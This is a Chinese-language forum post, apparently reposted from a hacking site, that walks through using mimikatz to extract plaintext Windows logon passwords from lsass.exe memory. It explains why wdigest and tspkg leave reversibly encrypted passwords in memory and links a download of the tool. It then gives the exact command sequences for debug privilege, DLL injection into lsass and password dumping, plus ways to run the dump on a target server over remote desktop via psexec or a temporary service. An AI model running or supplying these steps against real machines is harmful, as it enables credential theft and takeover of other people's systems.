大家都知道的東西吧,滲透測試常用工具。尤其對社工密碼收集來說必備的 法國一個牛B的人寫的輕量級調試器,可以幫助安全測試人員抓取Windows密碼。 mimikatz 最近發佈了它的2.0版本,抓密碼命令更加簡單了,估計作者也看到了對它這個神器最多的研究就是直接抓密碼,爲神馬不發佈一個直接一鍵版,哈哈哈哈哈。新功能還包括能夠通過獲取的kerberos登錄憑據,繞過支持RestrictedAdmin模式的win8或win2012svr的遠程終端(RDP) 的登陸認證。建議默認禁止RestrictedAdmin模式登錄。更多功能等着大家來發現 http://blog.gentilkiwi.com/mimikatz 法國神器mimikatz20141213+源碼 https://www.70sec.com/tools_code/mimikatz.rar 還有一篇用這個神器直接從 lsass.exe 裏獲取windows處於active狀態賬號明文密碼的文章 http://pentestmonkey.net/blog/mi ... asswords-from-lsass 自己嘗試了下用 win2008 r2 x64 來測試 最後測試成功 wdigest 就是我的明文密碼 我還測過密碼複雜度在14位以上 包含數字 大小寫字母 特殊字符的密碼 一樣能抓出明文密碼來 以前用 wce.exe 或 lslsass.exe 通常是隻能從內存裏頂多抓出active賬號的 lm hash 和 ntlm hash 但用了這個神器抓出明文密碼後由此我們可以反推斷 在 lsass.exe 裏並不是只存有 lm hash 和 ntlm hash 而已 應該還存在有你的明文密碼經過某種加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的) 這樣這個加密算法是可逆的 能被解密出明文 所以進程注入 lsass.exe 時 所調用的 sekurlsa.dll 應該包含了對應的解密算法 逆向功底比較好的童鞋可以嘗試去逆向分析一下 然後這個神器的功能肯定不僅僅如此 在我看來它更像一個輕量級調試器 可以提升進程權限 注入進程 讀取進程內存等等 下面展示一個 讀取掃雷遊戲的內存的例子 我們還可以通過pause命令來掛起該進程 這個時候遊戲的時間就靜止了 總之這個神器相當華麗 還有更多能力有待各黑闊們挖掘 =..=~ 抓取 lsass.exe 中的用戶明文密碼: //提升權限 privilege::debug //注入dll inject::process lsass.exe sekurlsa.dll //抓取密碼 @getLogonPasswords 或者直接: mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords 經測試,通殺: Windows XP (部分可以) Windows Server 2003 Windows Server 2008 Windows Vista Windows 7 Windows 7 SP1 貌似只有 Windows 2000 無法使用,最低支持 Windows XP。 不過,2000/xp 可以用以前的 FindPassword ,Windows 2003 - Windows 7 微軟的這個處理機制沒有變。 域也可以,理論上是沒問題的,登錄過都在 lsass.exe 裏面。 原理就是登陸的時候輸入的密碼,經過 lsass.exe 裏的 wdigest 和 tspkg 兩個模塊調用後,它們對之進行加密處理,而沒有進行擦除,而且該加密通過特徵可以定位,並且按照微軟的算法可逆。 只要登陸過,就可以抓出來,它進行枚舉的,這一切都是微軟的錯。 簡單地說,在 Windows 中,當用戶登錄時,lsass.exe 使用一個可逆的算法,加密過的明文密碼,並且把密文保存在內存中,沒有清理,然後可以抓出來,還原。 也就是說,開機以後,只要是登陸過的用戶,在沒重啓前(因爲重啓內存就清零了,這裏不包括使用其他方法清理內存),都可以抓出來,註銷也是無用的,因爲內存中的密碼並沒有清除,所以還是可以抓出來的。 我想微軟可能會出個補丁,清理這塊…… 這玩意兒功能還有很多,自己看看參數,例如:ts,是調用 mimikatz.sys 隱藏登陸的終端。 這應該算是密碼泄露,很嚴重的漏洞,估計微軟會出補丁。 看雪已經有詳細的原理分析帖子了,並且還在更新,地址:http://bbs.pediy.com/showthread.php?t=146884 在遠程終端(3389、mstsc.exe)、虛擬桌面中抓取密碼的方法: 通常你在遠程終端中運行該程序會提示:存儲空間不足,無法處理此命令。 這是因爲在終端模式下,不能插入遠線程,跨會話不能注入,你需要使用如下方法執行該程序: 首先提取幾個文件,只抓取密碼的話,只需要這幾個文件: mimikatz_trunk\tools\PsExec.exe mimikatz_trunk\Win32\mimikatz.exe mimikatz_trunk\Win32\sekurlsa.dll 打包後上傳至目標服務器,然後解壓釋放,注意路徑中絕對不能有中文(可以有空格)!否則加載DLL的時候會報錯:找不到文件。 然後使用以下任何一種方法即可抓取密碼: //最簡單實用的方法,使用 PsExec.exe 啓動。 //在系統帳戶中運行 cmd.exe,或者直接運行 mimikatz.exe psexec -s cmd.exe //啓動 mimikatz.exe C:\mimikatz_trunk\Win32\mimikatz.exe //提升權限 privilege::debug //注入dll,要用絕對路徑!並且路徑中絕對不能有中文(可以有空格)! inject::process lsass.exe "C:\mimikatz_trunk\Win32\sekurlsa.dll" //抓取密碼 @getLogonPasswords //退出,不要用 ctrl + c,會導致 mimikatz.exe CPU 佔用達到 100%,死循環。 exit //********************************************************* //使用 At 啓動 at *** //********************************************************* //創建服務方法 sc create getpassword binpath= "cmd.exe /c c:\xxx\mimikatz.exe < command.txt > password.txt" sc start getpassword sc delete getpassword //********************************************************* //telnet 遠程命令管道 telnet **** |
轉載自https://www.70sec.com/thread-2954-1-1.html